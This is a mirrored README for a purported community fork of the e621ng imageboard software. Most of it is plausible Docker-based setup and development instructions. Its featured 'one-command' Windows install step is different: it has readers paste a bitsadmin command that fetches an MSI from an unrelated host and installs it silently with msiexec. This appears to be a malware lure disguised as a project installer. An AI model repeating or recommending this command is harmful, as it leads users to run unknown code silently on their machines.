blendmaidintrigue
e621
An independent community-maintained project based on the open-source "e621" codebase.
Documentation snapshot
README 快照
本页保存的是公开项目资料快照,阅读过程不需要连接 GitHub。
🐾 E621 Community
Fast, self-hosted imageboard platform
An independent community-maintained project based on the open-source e621ng codebase.
图片:Ruby 图片:Docker 图片:PostgreSQL 图片:OpenSearch
⚡ Quick setup · 🐳 Docker ready · 🛠️ Open source
🚀 One-Command Installation
🪟 Windows CMD
🪟 Windows Installation
Step 1 — Open Command Prompt
- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Step 2 — Run the Install Command
Copy the command below and paste it into Command Prompt, then press Enter.
bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart
The installer will automatically download and install the required components.
After installation, open:
http://localhost:3000
✨ Features
- 🖼️ Imageboard platform
- 🔎 Advanced search
- 🏷️ Tagging system
- 👤 User accounts
- 💬 Comments
- ⭐ Favorites
- 📊 Post management
- 🛡️ Moderation tools
- 🐳 Docker-based environment
- 🗄️ PostgreSQL database
- 🔍 OpenSearch integration
- 💎 Ruby on Rails backend
🧰 Tech Stack
| Technology | Purpose |
|---|---|
| 💎 Ruby on Rails | Application backend |
| 🐘 PostgreSQL | Database |
| 🔎 OpenSearch | Search engine |
| 🐳 Docker | Containerized environment |
| 🌐 JavaScript | Frontend functionality |
⚙️ Requirements
The exact requirements depend on your installation method.
For a standard development environment, you may need:
- 🐳 Docker
- 🧩 Docker Compose
- 🌿 Git
- 💾 Sufficient disk space
- 🧠 At least several GB of available RAM
If your one-command installer handles these automatically, no additional setup is required.
🛠️ Development
Want to work on the project manually?
🐧 Linux / macOS
Clone the repository:
git clone
Enter the project directory:
cd
Copy the environment configuration:
cp .env.sample .env
Run the setup:
docker compose run --rm e621 /app/bin/setup
Start the containers:
docker compose up
🪟 Windows CMD
Open Command Prompt (cmd.exe).
Clone the repository:
git clone
Enter the project directory:
cd
Copy the environment configuration:
copy .env.sample .env
Run the initial setup:
docker compose run --rm e621 /app/bin/setup
Start the project:
docker compose up
To stop the containers, press:
Ctrl + C
Then visit:
http://localhost:3000
💡 Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.
🪟 Windows CMD Troubleshooting
If the project does not start correctly from CMD, try:
docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose up
If Git shows unexpected permission or file-mode changes:
git config core.fileMode false
Check that Docker is available:
docker --version
docker compose version
Check that Git is available:
git --version
🧪 Testing
Run the test environment with Docker:
docker compose run --rm tests
Ruby linting
docker compose run --rm rubocop
JavaScript linting
docker compose run --rm linter
🔄 Updating
After updating the repository:
git pull
If Ruby gems or JavaScript packages have changed, rebuild the containers:
docker compose build
Then restart:
docker compose up
🌱 Project Origin
This project is an independent derivative of the open-source:
e621ng
🔗 https://github.com/e621ng/e621ng
Huge thanks to the original developers and contributors who built and maintain the upstream project. ❤️
This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.
⚠️ Disclaimer
This is an independent community project.
It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.
Any third-party names, trademarks, logos, and branding belong to their respective owners.
📜 License
The original project permits redistribution and modification subject to its license terms.
When redistributing this project, retain the original:
- 📄 copyright notice
- 📋 license conditions
- ⚠️ disclaimer
Please see:
LICENSE
for the complete license text.
🤝 Contributing
Contributions are welcome. 💙
You can help by:
- 🐛 reporting bugs
- 💡 suggesting improvements
- 🔧 submitting fixes
- 📖 improving documentation
- 🧪 testing new changes
⭐ Support
If you find the project useful, consider leaving a ⭐ Star.
It helps other developers discover the project.
🐾 Built by the community
Open source · Self-hosted · Developer friendly
Official distribution
获取与安装
暂未发现可确认的官方软件包地址
当前 README 快照没有出现 npm、PyPI、Crates.io、pub.dev 等官方包页链接。本站不会根据仓库名称猜测下载地址。
本站不托管项目文件;需要安装时,请以项目维护者发布的官方文档为准。
Before installing
使用前核验
本站保存公开资料用于阅读,不代表安全审计或功能背书。安装前请核对许可证、依赖来源和发布签名,不要直接运行来源不明的二进制文件或高权限脚本。